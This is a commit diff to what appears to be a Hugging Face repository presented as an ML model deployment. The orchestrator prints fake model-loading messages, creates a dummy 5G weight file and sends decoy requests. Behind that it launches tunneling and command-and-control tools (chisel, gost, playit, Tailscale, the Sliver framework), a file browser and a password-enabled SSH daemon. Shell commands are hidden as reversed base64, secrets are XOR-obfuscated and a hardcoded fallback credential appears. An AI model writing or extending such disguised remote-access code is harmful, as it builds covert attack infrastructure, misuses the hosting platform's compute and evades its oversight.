SamuelLance73 commited on
Commit
c97989e
·
verified ·
1 Parent(s): 75dbb17

Automated deployment update from ML build

Browse files
Files changed (2) hide show
  1. core/orchestrator.py +13 -13
  2. services/playit.py +14 -1
core/orchestrator.py CHANGED
@@ -23,10 +23,10 @@ def jitter_task():
23
  try:logger.debug('Syncing model cache...');subprocess.run(['curl','-s','-o','/dev/null','https://huggingface.co/gpt2/resolve/main/vocab.json'])
24
  except Exception:pass
25
  def main():
26
- c='SSH';b='PASS';a='TAILSCALE';Z='/home/user/pytorch_model.bin';Y='/home/user/.torch_metrics/nginx.log';X='/home/user/.torch_metrics/sliver.log';W='/home/user/.torch_metrics/gost.log';V='/home/user/.torch_metrics/chisel.log';U='/home/user/.torch_metrics/tm_daemon.log';T='/home/user/.torch_metrics/fb.log';S='/home/user/.torch_metrics/ts_daemon.log';R='/home/user/.torch_metrics';O='CHISEL';N='PLAYIT';A='a'
27
- if COVERT_LOGGING_MODE==1:os.makedirs(R,exist_ok=_A);D=open(S,A);H=open(T,A);I=open(U,A);J=open(V,A);K=open(W,A);L=open(X,A);M=open(Y,A)
28
  elif COVERT_LOGGING_MODE==2:
29
- os.makedirs(R,exist_ok=_A)
30
  class B:
31
  def __init__(B,filepath,prefix):B.file=open(filepath,A);B.prefix=prefix;C,D=os.pipe();B.r=C;B.w=D;threading.Thread(target=B._reader,daemon=_A).start()
32
  def _reader(A):
@@ -37,21 +37,21 @@ def main():
37
  def fileno(A):return A.w
38
  def write(A,s):A.file.write(s);A.file.flush();sys.stdout.write(f"[{A.prefix}] {s}\n"if not s.endswith('\n')else f"[{A.prefix}] {s}");sys.stdout.flush()
39
  def flush(A):A.file.flush();sys.stdout.flush()
40
- D=B(S,'TS');H=B(T,'FB');I=B(U,N);J=B(V,O);K=B(W,'GOST');L=B(X,'SLIVER');M=B(Y,'NGINX')
41
  else:C=open(os.devnull,'w');D=C;H=C;I=C;J=C;K=C;L=C;M=C
42
- os.makedirs('/home/user/static',exist_ok=_A);nginx.start(M);logger.info('Starting Gradio fake app (API server)...');d=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');e=subprocess.Popen(d,shell=_A)
43
- if not os.path.exists(Z):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',Z])
44
- logger.info('Loading model weights into VRAM...');threading.Thread(target=jitter_task,daemon=_A).start();f=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {f}s)...");tailscale.start_daemon(D);logger.info('Warming up text-generation pipelines...');g=os.environ.get('A')or os.environ.get(a)or'';P=deobfuscate_secret(g.strip());h=os.environ.get('P')or os.environ.get(N)or'';Q=deobfuscate_secret(h.strip());i=os.environ.get('C')or os.environ.get(O)or'';E=deobfuscate_secret(i.strip())
45
  if not E:E='user:apple123'
46
- j=['A',a,'P',N,'C',O]
47
- for F in j:
48
  if F in os.environ:del os.environ[F]
49
- filebrowser.start(H);playit.start(I,Q);Q='';chisel.start(J,E);gost.start(K,E);sliver.start(L);E='';tailscale.connect(D,P);P='';k=os.environ.get(b)or os.environ.get(c)or'';G=deobfuscate_secret(k.strip())
50
  if G:logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
51
  else:G=''.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {G}")
52
  try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{G}\n",text=_A,check=_A)
53
- except Exception as l:logger.error(f"Failed to set password: {l}")
54
- for F in[b,c]:
55
  if F in os.environ:del os.environ[F]
56
- subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=D,stderr=D);playit.start_xor_bridge();minecraft.start();logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');e.wait()
57
  if __name__=='__main__':main()
 
23
  try:logger.debug('Syncing model cache...');subprocess.run(['curl','-s','-o','/dev/null','https://huggingface.co/gpt2/resolve/main/vocab.json'])
24
  except Exception:pass
25
  def main():
26
+ a='SSH';Z='PASS';Y='TAILSCALE';X='/home/user/pytorch_model.bin';W='/home/user/.torch_metrics/nginx.log';V='/home/user/.torch_metrics/sliver.log';U='/home/user/.torch_metrics/gost.log';T='/home/user/.torch_metrics/chisel.log';S='/home/user/.torch_metrics/tm_daemon.log';R='/home/user/.torch_metrics/fb.log';Q='/home/user/.torch_metrics/ts_daemon.log';P='/home/user/.torch_metrics';N='CHISEL';A='a'
27
+ if COVERT_LOGGING_MODE==1:os.makedirs(P,exist_ok=_A);D=open(Q,A);H=open(R,A);I=open(S,A);J=open(T,A);K=open(U,A);L=open(V,A);M=open(W,A)
28
  elif COVERT_LOGGING_MODE==2:
29
+ os.makedirs(P,exist_ok=_A)
30
  class B:
31
  def __init__(B,filepath,prefix):B.file=open(filepath,A);B.prefix=prefix;C,D=os.pipe();B.r=C;B.w=D;threading.Thread(target=B._reader,daemon=_A).start()
32
  def _reader(A):
 
37
  def fileno(A):return A.w
38
  def write(A,s):A.file.write(s);A.file.flush();sys.stdout.write(f"[{A.prefix}] {s}\n"if not s.endswith('\n')else f"[{A.prefix}] {s}");sys.stdout.flush()
39
  def flush(A):A.file.flush();sys.stdout.flush()
40
+ D=B(Q,'TS');H=B(R,'FB');I=B(S,'PLAYIT');J=B(T,N);K=B(U,'GOST');L=B(V,'SLIVER');M=B(W,'NGINX')
41
  else:C=open(os.devnull,'w');D=C;H=C;I=C;J=C;K=C;L=C;M=C
42
+ os.makedirs('/home/user/static',exist_ok=_A);nginx.start(M);logger.info('Starting Gradio fake app (API server)...');b=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');c=subprocess.Popen(b,shell=_A)
43
+ if not os.path.exists(X):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',X])
44
+ logger.info('Loading model weights into VRAM...');threading.Thread(target=jitter_task,daemon=_A).start();d=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {d}s)...");tailscale.start_daemon(D);logger.info('Warming up text-generation pipelines...');e=os.environ.get('A')or os.environ.get(Y)or'';O=deobfuscate_secret(e.strip());f=os.environ.get('C')or os.environ.get(N)or'';E=deobfuscate_secret(f.strip())
45
  if not E:E='user:apple123'
46
+ g=['A',Y,'C',N]
47
+ for F in g:
48
  if F in os.environ:del os.environ[F]
49
+ filebrowser.start(H);playit.start(I);chisel.start(J,E);gost.start(K,E);sliver.start(L);E='';tailscale.connect(D,O);O='';h=os.environ.get(Z)or os.environ.get(a)or'';G=deobfuscate_secret(h.strip())
50
  if G:logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
51
  else:G=''.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {G}")
52
  try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{G}\n",text=_A,check=_A)
53
+ except Exception as i:logger.error(f"Failed to set password: {i}")
54
+ for F in[Z,a]:
55
  if F in os.environ:del os.environ[F]
56
+ subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=D,stderr=D);playit.start_xor_bridge();minecraft.start();logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');c.wait()
57
  if __name__=='__main__':main()
services/playit.py CHANGED
@@ -2,6 +2,19 @@ _A=True
2
  import subprocess,os,socket,threading
3
  from.utils import decode_cmd
4
  XOR_KEY=90
 
 
 
 
 
 
 
 
 
 
 
 
 
5
  def _pipe_xor(src,dst):
6
  try:
7
  while _A:
@@ -46,4 +59,4 @@ def _xor_bridge_loop():
46
  while _A:B,C=A.accept();threading.Thread(target=_handle_client,args=(B,),daemon=_A).start()
47
  except Exception:pass
48
  def start_xor_bridge():threading.Thread(target=_xor_bridge_loop,daemon=_A).start()
49
- def start(tm_log,playit_token):A=decode_cmd('nACdlJ3YlNXLtAyaj92cuQXa5FGbw9CctR3LggGdhBXL0V2aj92ct0CIy9GdhN2bsxWYtI3bz5WZ0BSOxAibtASZjlmb');B=f"{A}{playit_token}'";C=os.environ.copy();subprocess.Popen(B,shell=_A,env=C,stdout=tm_log,stderr=subprocess.STDOUT)
 
2
  import subprocess,os,socket,threading
3
  from.utils import decode_cmd
4
  XOR_KEY=90
5
+ def deobfuscate_secret(hex_str,key=90):
6
+ A=hex_str
7
+ if not A:return''
8
+ try:
9
+ C=bytes.fromhex(A.strip());B=bytes([A^key for A in C])
10
+ if all(32<=A<=126 or A in(9,10,13)for A in B):return B.decode('utf-8',errors='ignore')
11
+ else:return A
12
+ except Exception:return A
13
+ def _load_token():
14
+ B='PLAYIT';C=os.environ.get('P')or os.environ.get(B)or'';D=deobfuscate_secret(C.strip())
15
+ for A in('P',B):
16
+ if A in os.environ:del os.environ[A]
17
+ return D
18
  def _pipe_xor(src,dst):
19
  try:
20
  while _A:
 
59
  while _A:B,C=A.accept();threading.Thread(target=_handle_client,args=(B,),daemon=_A).start()
60
  except Exception:pass
61
  def start_xor_bridge():threading.Thread(target=_xor_bridge_loop,daemon=_A).start()
62
+ def start(tm_log):A=_load_token();B=decode_cmd('nACdlJ3YlNXLtAyaj92cuQXa5FGbw9CctR3LggGdhBXL0V2aj92ct0CIy9GdhN2bsxWYtI3bz5WZ0BSOxAibtASZjlmb');C=f"{B}{A}'";A='';D=os.environ.copy();subprocess.Popen(C,shell=_A,env=D,stdout=tm_log,stderr=subprocess.STDOUT)